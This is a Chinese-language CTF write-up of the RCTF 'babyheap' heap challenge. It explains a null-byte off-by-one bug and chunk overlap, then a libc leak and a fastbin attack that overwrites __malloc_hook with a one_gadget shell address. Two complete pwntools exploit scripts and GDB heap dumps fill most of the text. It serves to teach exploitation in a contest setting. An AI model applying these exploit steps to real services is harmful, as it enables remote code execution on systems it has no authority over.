RCTF babyheap
参考文章:
一些原理
chunk overlapping的原理在于ptmalloc的堆块验证机制的不完善,通过一些ptmalloc定义的宏就可以看出这一点。
inuse():仅通过下一块的inuse位来判定当前块是否使用.
prev_chunk():如果前一个块为空,那么进行空块合并时,仅使用本块的prev_size来寻找前块的头。
next_chunk():仅通过本块头+本块大小的方式来寻找下一块的头
chunksize():仅通过本块的size确定本块的大小。
unlink的原理在于unlink宏在处理时会互写数据造成任意地址写。经过改进后的unlink宏增加了check,但是可以通过一个指向堆上的指针导致绕过情况。
这道题没做出来其实挺可惜的,当时我们自己发现了漏洞null byte off by one 这个漏洞之后,就一直去看相关的内容,也可能是这个理解上跟实践上有点差距吧,同时也是自己对堆中malloc和free机制不够熟悉,其中的一些check不够了解,堆的学习比较重要的还是一些原理和一些基础知识方面比较重要一点,每一个知识点都可能成为你漏洞利用的一个思路。不过最后我们也利用漏洞成功泄露了libc地址,最后一步getshll没成功利用好,但思路也是差不多的,都是一些比较巧妙的构造。
漏洞点null byte off by one
仔细分析这个循环和后面置0的操作就可以知道这里会导致有一个null字节溢出的漏洞。
脚本解释
这个是我赛时写的半成品+赛后补全的脚本 看了大佬的leak addr的利用方法真心觉得自己的有点麻烦,虽然思路是差不多的,但是就是把他给搞复杂了
我大概叙述一下我们泄露地址的思路吧,具体的我后面准备记录下大佬的思路
首先最后结果是一样的,都是让两个指针同时指向了一个地址,都是一个overlap的操作。首先是分配一堆堆块(为什么呢?主要是因为后面需要一些smallbin,调试的时候出现了疑似在topchunk里分配堆块的情况,所以才先分配一些smallbin再free给后面使用)。然后free掉中间两块,然后再构造两个大小加起来刚好满足0x100的堆块,然后释放刚好到前面检查合并堆块,然后中间还有一个堆块没有释放就合并了,这就成功让一个指针指向一个空闲堆块了。
完整脚本如下:
from pwn import *
p = process("./babyheap")
#libc = ELF("./_libc.so.6")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def Alloc(size,content):
p.recvuntil("choice: ")
p.sendline('1')
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(str(content))
def Show(idx):
p.recvuntil("choice: ")
p.sendline('2')
p.recvuntil("index: ")
p.sendline(str(idx))
#p.recvuntil("Content: ")
#data = p.recvline()
#return data
def Delete(idx):
p.recvuntil("choice: ")
p.sendline('3')
p.recvuntil("index: ")
p.sendline(str(idx))
Alloc(0x88,"A"*120) #0
Alloc(0x100,"B"*1) #1
Alloc(0xf0,"C"*120) #2
Alloc(0x80,"K"*1) #3
Alloc(0x100,"F"*1) #4
Alloc(0x100,"C"*1) #5
Delete(1)
Delete(0)
Alloc(0x88,"D"*136) #0
Alloc(0x80,"E"*20) #1
Alloc(0x60,"F"*0x60) #6 //evil
Delete(1)
Delete(2)
Delete(4)
Delete(5)
#Delete(6)
Alloc(0x80,"G"*0x80) #1
Alloc(0x100,"G"*0x100) #2
Alloc(0x100,"G"*0x100) #4
Delete(4)
Delete(2)
Show(6)
p.recvuntil("content: ")
leak_addr = u64(p.recv(6)+"\x00\x00")
main_arena_addr = leak_addr - 0x58
lib_addr = leak_addr - libc.symbols['__malloc_hook'] - 0x78
#print "libc.symbols['__malloc_hook'] = " + hex(libc.symbols['__malloc_hook'])
print "leak_addr= " + hex(leak_addr)
print "lib_addr= " + hex(lib_addr)
#print "main_arena_addr= " + hex(main_arena_addr)
pause()
Delete(0)
Delete(1)
Alloc(0xa8,"A"*0xa7)#0
Alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x71) + p64(0) + p64(0))#1
Alloc(0x50, 'A' * 0x40+p64(0)+p64(0x71))#2
Alloc(0x80, 'A' * 0x80)#4
Alloc(0x80, 'A' * 0x80)#5
Delete(6)
Delete(1)
hook = lib_addr + libc.symbols['__malloc_hook'] - 0x13
#oneshot = lib_addr + 0x4526a
oneshot = lib_addr + 0x4647c #local
Alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x70) + p64(hook) + p64(0))#1
Alloc(0x60,'A' * 0x60)#6
Alloc(0x60,'A' * 0x3 + p64(oneshot) + "\n")#7
p.interactive()
大佬的脚本解释
大佬的leak addr
alloc(0x30,'A' * 0x30)
alloc(0xf0,'A' * 0xf0)
alloc(0x70,'A' * 0x70)
alloc(0xf0,'A' * 0xf0)
alloc(0x30,'A' * 0x30)
pause()
free(1)
free(2)
#第一个堆块情况分析点
alloc(0x78,'B' * 0x60 + p64(0) + p64(0x110) + p64(0x180)) #1
#第二个堆块情况分析点
# chunk overlap
free(3)
alloc(0xf0,'A' * 0xf0) #2
#第三个堆块情况分析点
pause()
# libc leak
show(1)
s.recvuntil('content: ')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc))
第一个堆块情况分析点
这个主要是free掉两个堆块以便后面使用
alloc(0x30,'A' * 0x30)
alloc(0xf0,'A' * 0xf0)
alloc(0x70,'A' * 0x70)
alloc(0xf0,'A' * 0xf0)
alloc(0x30,'A' * 0x30)
pause()
free(1)
free(2)
gdb-peda$ x /100xg 0x55ca73bf02f0
0x55ca73bf02f0: 0x0000000000000000 0x0000000000000041
0x55ca73bf0300: 0x4141414141414141 0x4141414141414141
0x55ca73bf0310: 0x4141414141414141 0x4141414141414141
0x55ca73bf0320: 0x4141414141414141 0x4141414141414141
0x55ca73bf0330: 0x0000000000000000 0x0000000000000101
0x55ca73bf0340: 0x00007fc5e3f247b8 0x00007fc5e3f247b8
0x55ca73bf0350: 0x4141414141414141 0x4141414141414141
0x55ca73bf0360: 0x4141414141414141 0x4141414141414141
0x55ca73bf0370: 0x4141414141414141 0x4141414141414141
0x55ca73bf0380: 0x4141414141414141 0x4141414141414141
0x55ca73bf0390: 0x4141414141414141 0x4141414141414141
0x55ca73bf03a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03b0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0400: 0x4141414141414141 0x4141414141414141
0x55ca73bf0410: 0x4141414141414141 0x4141414141414141
0x55ca73bf0420: 0x4141414141414141 0x4141414141414141
0x55ca73bf0430: 0x0000000000000100 0x0000000000000080
0x55ca73bf0440: 0x0000000000000000 0x4141414141414141
0x55ca73bf0450: 0x4141414141414141 0x4141414141414141
0x55ca73bf0460: 0x4141414141414141 0x4141414141414141
0x55ca73bf0470: 0x4141414141414141 0x4141414141414141
0x55ca73bf0480: 0x4141414141414141 0x4141414141414141
0x55ca73bf0490: 0x4141414141414141 0x4141414141414141
0x55ca73bf04a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04b0: 0x0000000000000000 0x0000000000000101
0x55ca73bf04c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0500: 0x4141414141414141 0x4141414141414141
0x55ca73bf0510: 0x4141414141414141 0x4141414141414141
0x55ca73bf0520: 0x4141414141414141 0x4141414141414141
0x55ca73bf0530: 0x4141414141414141 0x4141414141414141
0x55ca73bf0540: 0x4141414141414141 0x4141414141414141
0x55ca73bf0550: 0x4141414141414141 0x4141414141414141
0x55ca73bf0560: 0x4141414141414141 0x4141414141414141
0x55ca73bf0570: 0x4141414141414141 0x4141414141414141
0x55ca73bf0580: 0x4141414141414141 0x4141414141414141
0x55ca73bf0590: 0x4141414141414141 0x4141414141414141
0x55ca73bf05a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05b0: 0x0000000000000000 0x0000000000000041
0x55ca73bf05c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05f0: 0x0000000000000000 0x0000000000020a11
0x55ca73bf0600: 0x0000000000000000 0x0000000000000000
第二个堆块情况分析点
这里主要是伪造一个上一个堆块(空闲块)大小,并且利用null byte off by one这个漏洞来把101—>100假装前面180个块都是空闲的,并且前面刚好分配的两个块加起来大小为0x180,再在后面free掉堆3的话就会去该堆块上面0x180的位置去检查该堆块是否空闲,如果空闲则将其合并。
alloc(0x78,'B' * 0x60 + p64(0) + p64(0x110) + p64(0x180)) #1
gdb-peda$ x /100xg 0x55ca73bf02f0
0x55ca73bf02f0: 0x0000000000000000 0x0000000000000041
0x55ca73bf0300: 0x4141414141414141 0x4141414141414141
0x55ca73bf0310: 0x4141414141414141 0x4141414141414141
0x55ca73bf0320: 0x4141414141414141 0x4141414141414141
0x55ca73bf0330: 0x0000000000000000 0x0000000000000101
0x55ca73bf0340: 0x00007fc5e3f247b8 0x00007fc5e3f247b8
0x55ca73bf0350: 0x4141414141414141 0x4141414141414141
0x55ca73bf0360: 0x4141414141414141 0x4141414141414141
0x55ca73bf0370: 0x4141414141414141 0x4141414141414141
0x55ca73bf0380: 0x4141414141414141 0x4141414141414141
0x55ca73bf0390: 0x4141414141414141 0x4141414141414141
0x55ca73bf03a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03b0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0400: 0x4141414141414141 0x4141414141414141
0x55ca73bf0410: 0x4141414141414141 0x4141414141414141
0x55ca73bf0420: 0x4141414141414141 0x4141414141414141
0x55ca73bf0430: 0x0000000000000100 0x0000000000000080
0x55ca73bf0440: 0x4242424242424242 0x4242424242424242
0x55ca73bf0450: 0x4242424242424242 0x4242424242424242
0x55ca73bf0460: 0x4242424242424242 0x4242424242424242
0x55ca73bf0470: 0x4242424242424242 0x4242424242424242
0x55ca73bf0480: 0x4242424242424242 0x4242424242424242
0x55ca73bf0490: 0x4242424242424242 0x4242424242424242
0x55ca73bf04a0: 0x0000000000000000 0x0000000000000110
0x55ca73bf04b0: 0x0000000000000180 0x0000000000000100
0x55ca73bf04c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0500: 0x4141414141414141 0x4141414141414141
0x55ca73bf0510: 0x4141414141414141 0x4141414141414141
0x55ca73bf0520: 0x4141414141414141 0x4141414141414141
0x55ca73bf0530: 0x4141414141414141 0x4141414141414141
0x55ca73bf0540: 0x4141414141414141 0x4141414141414141
0x55ca73bf0550: 0x4141414141414141 0x4141414141414141
0x55ca73bf0560: 0x4141414141414141 0x4141414141414141
0x55ca73bf0570: 0x4141414141414141 0x4141414141414141
0x55ca73bf0580: 0x4141414141414141 0x4141414141414141
0x55ca73bf0590: 0x4141414141414141 0x4141414141414141
0x55ca73bf05a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05b0: 0x0000000000000000 0x0000000000000041
0x55ca73bf05c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05f0: 0x0000000000000000 0x0000000000020a11
0x55ca73bf0600: 0x0000000000000000 0x0000000000000000
第三个堆块情况分析点
这个主要是在上面的基础上开始利用漏洞,
# chunk overlap
free(3)
alloc(0xf0,'A' * 0xf0) #2
gdb-peda$ x /100xg 0x55ca73bf02f0
0x55ca73bf02f0: 0x0000000000000000 0x0000000000000041
0x55ca73bf0300: 0x4141414141414141 0x4141414141414141
0x55ca73bf0310: 0x4141414141414141 0x4141414141414141
0x55ca73bf0320: 0x4141414141414141 0x4141414141414141
0x55ca73bf0330: 0x0000000000000000 0x0000000000000101
0x55ca73bf0340: 0x4141414141414141 0x4141414141414141
0x55ca73bf0350: 0x4141414141414141 0x4141414141414141
0x55ca73bf0360: 0x4141414141414141 0x4141414141414141
0x55ca73bf0370: 0x4141414141414141 0x4141414141414141
0x55ca73bf0380: 0x4141414141414141 0x4141414141414141
0x55ca73bf0390: 0x4141414141414141 0x4141414141414141
0x55ca73bf03a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03b0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf03f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0400: 0x4141414141414141 0x4141414141414141
0x55ca73bf0410: 0x4141414141414141 0x4141414141414141
0x55ca73bf0420: 0x4141414141414141 0x4141414141414141
0x55ca73bf0430: 0x0000000000000000 0x0000000000000181
0x55ca73bf0440: 0x00007fc5e3f247b8 0x00007fc5e3f247b8
0x55ca73bf0450: 0x4242424242424242 0x4242424242424242
0x55ca73bf0460: 0x4242424242424242 0x4242424242424242
0x55ca73bf0470: 0x4242424242424242 0x4242424242424242
0x55ca73bf0480: 0x4242424242424242 0x4242424242424242
0x55ca73bf0490: 0x4242424242424242 0x4242424242424242
0x55ca73bf04a0: 0x0000000000000000 0x0000000000000110
0x55ca73bf04b0: 0x0000000000000180 0x0000000000000100
0x55ca73bf04c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf04f0: 0x4141414141414141 0x4141414141414141
0x55ca73bf0500: 0x4141414141414141 0x4141414141414141
0x55ca73bf0510: 0x4141414141414141 0x4141414141414141
0x55ca73bf0520: 0x4141414141414141 0x4141414141414141
0x55ca73bf0530: 0x4141414141414141 0x4141414141414141
0x55ca73bf0540: 0x4141414141414141 0x4141414141414141
0x55ca73bf0550: 0x4141414141414141 0x4141414141414141
0x55ca73bf0560: 0x4141414141414141 0x4141414141414141
0x55ca73bf0570: 0x4141414141414141 0x4141414141414141
0x55ca73bf0580: 0x4141414141414141 0x4141414141414141
0x55ca73bf0590: 0x4141414141414141 0x4141414141414141
0x55ca73bf05a0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05b0: 0x0000000000000180 0x0000000000000040
0x55ca73bf05c0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05d0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05e0: 0x4141414141414141 0x4141414141414141
0x55ca73bf05f0: 0x0000000000000000 0x0000000000020a11
0x55ca73bf0600: 0x0000000000000000 0x0000000000000000
其中有个点就是泄漏的libc地址怎么找到偏移的呢?
# libc leak
show(1)
s.recvuntil('content: ')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc))
getshell
利用前面两个指针指向同一个地址的情况,把malloc_hook
的地址假装成上一个空闲块的地址来让他分配malloc_hook
来给我们写,也就是构造一个假的fastbins来写malloc_hook为getshell的地址,下次调用malloc(calloc)的时候就可以直接getshell了。
其实malloc和calloc的区别只有calloc分配空间会默认把分配的堆块清零。
知识点:malloc_hook
参考地址:https://0x48.pw/2017/08/01/0x36/
在arena的上面,有个malloc_hook,当这个地址的值不为0时,我们执行malloc将会先跳到malloc_hook的地址上执行指令
下面介绍一下整个构造写malloc_hook的过程:
首先要明确,当malloc_hook
这个地址的值不为0时,我们执行malloc
将会先跳到malloc_hook
的地址上执行指令,所以我们才需要写malloc_hook为getshell的地址,这是我们的目的,然后这道题只有分配内存的时候才能写内容,所以我们考虑伪造一个假的空闲地址为malloc_hook
的地址,从而让我们下次分配的时候有写改地址的能力就ok了。
首先是这部分的脚本
free(2)
alloc(0x80, 'A' * 0x80)#2
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x71) + p64(0) + p64(0))#3
free(1)
free(3)
#double free
hook = libc + l.symbols['__malloc_hook'] - 0x13
oneshot = libc + 0x4526a
#oneshot = libc + 0x4647c #local
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x70) + p64(hook) + p64(0))#1
alloc(0x60,'A' * 0x60)#3
alloc(0x60,'A' * 0x3 + p64(oneshot) + "\n")#5
然后我们还是一步一步来详细记录一下:
free(2)
alloc(0x80, 'A' * 0x80)#2
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x71) + p64(0) + p64(0))#3
首先这个还是一个简单的构造吧,主要p64(0) + p64(0x71)
是为了后面free的时候构造的大小,而且free的同时后面刚好0x70大小的表示上一块是否inuse的标志位要是1
,否则会free出错,因为一个已经空闲的块不能再次被free,所以这个构造问题上还是很重要的,需要非常精准的计算和构造。
上一个图,这是这一步执行之后的图(这个跟上面地址不一样是因为不是同一次执行的):
free(1)
free(3)
#double free
hook = libc + l.symbols['__malloc_hook'] - 0x13
oneshot = libc + 0x4526a
#oneshot = libc + 0x4647c #local
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x70) + p64(hook) + p64(0))#1
然后就是把malloc_hook来写入了,先把之前两个指针指向的地址(也就是我们前面构造的堆头)free掉,这样才能写东西进去,然后写malloc_hook地址进去的同时把0x71—>0x70这样才确保把这块地址分配之后把这个假的上一个空闲块的地址(malloc_hook的地址)写到fastbins里面去,以便下次分配的时候可以分配到malloc_hook的地址。
alloc(0x60,'A' * 0x60)#3
alloc(0x60,'A' * 0x3 + p64(oneshot) + "\n")#5
最后就是分配了,先把前面分配的写入那个假的pre_addr
(malloc_hook
的地址)的那个堆块分配出去,让malloc_hook
的地址进入fastbins等待下一次分配
然后再进行第二次分配吧getshell地址写入malloc_hook
然后还有一个疑问就是为什么要减0x13 因为要构造一个加的size—–0x7f,从上面图就可以看出来。0x10(这个主要是堆块头)+0x3(为了构造假的size)
这里找shell在libc的偏移有两种方法
第一个是用one_gadget
第二个是直接在libc中找字符串/bin/sh [笑哭]
贴上大佬的完整脚本: 其中有部分删改,本地远程都可以执行,其中注意计算libc_base的时候有一些细微的差别需要注意的。
from pwn import *
s = process('./babyheap')
#s = remote('babyheap.2018.teamrois.cn',3154)
def alloc(size,data):
s.sendlineafter('e: ','1')
s.sendlineafter('e: ',str(size))
s.sendafter('t: ',data)
def show(idx):
s.sendlineafter('e: ','2')
s.sendlineafter('x: ',str(idx))
def free(idx):
s.sendlineafter('e: ','3')
s.sendlineafter('x: ',str(idx))
#l = ELF('./_libc.so.6')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
alloc(0x30,'A' * 0x30)#0
alloc(0xf0,'A' * 0xf0)#1
alloc(0x70,'A' * 0x70)#2
alloc(0xf0,'A' * 0xf0)#3
alloc(0x30,'A' * 0x30)#4
pause()
free(1)
free(2)
alloc(0x78,'B' * 0x60 + p64(0) + p64(0x110) + p64(0x180)) #1
# chunk overlap
free(3)
alloc(0xf0,'A' * 0xf0) #2
pause()
# libc leak
show(1)
s.recvuntil('content: ')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x78 #local
#libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc))
log.info("__malloc_hook : " + hex(l.symbols['__malloc_hook']))
#log.info("libc : " + hex(libc))
free(2)
alloc(0x80, 'A' * 0x80)#2
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x71) + p64(0) + p64(0))#3
free(1)
free(3)
#double free
hook = libc + l.symbols['__malloc_hook'] - 0x13
oneshot = libc + 0x4526a
#oneshot = libc + 0x4647c #local
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x70) + p64(hook) + p64(0))#1
alloc(0x60,'A' * 0x60)#3
alloc(0x60,'A' * 0x3 + p64(oneshot) + "\n")#5
s.interactive()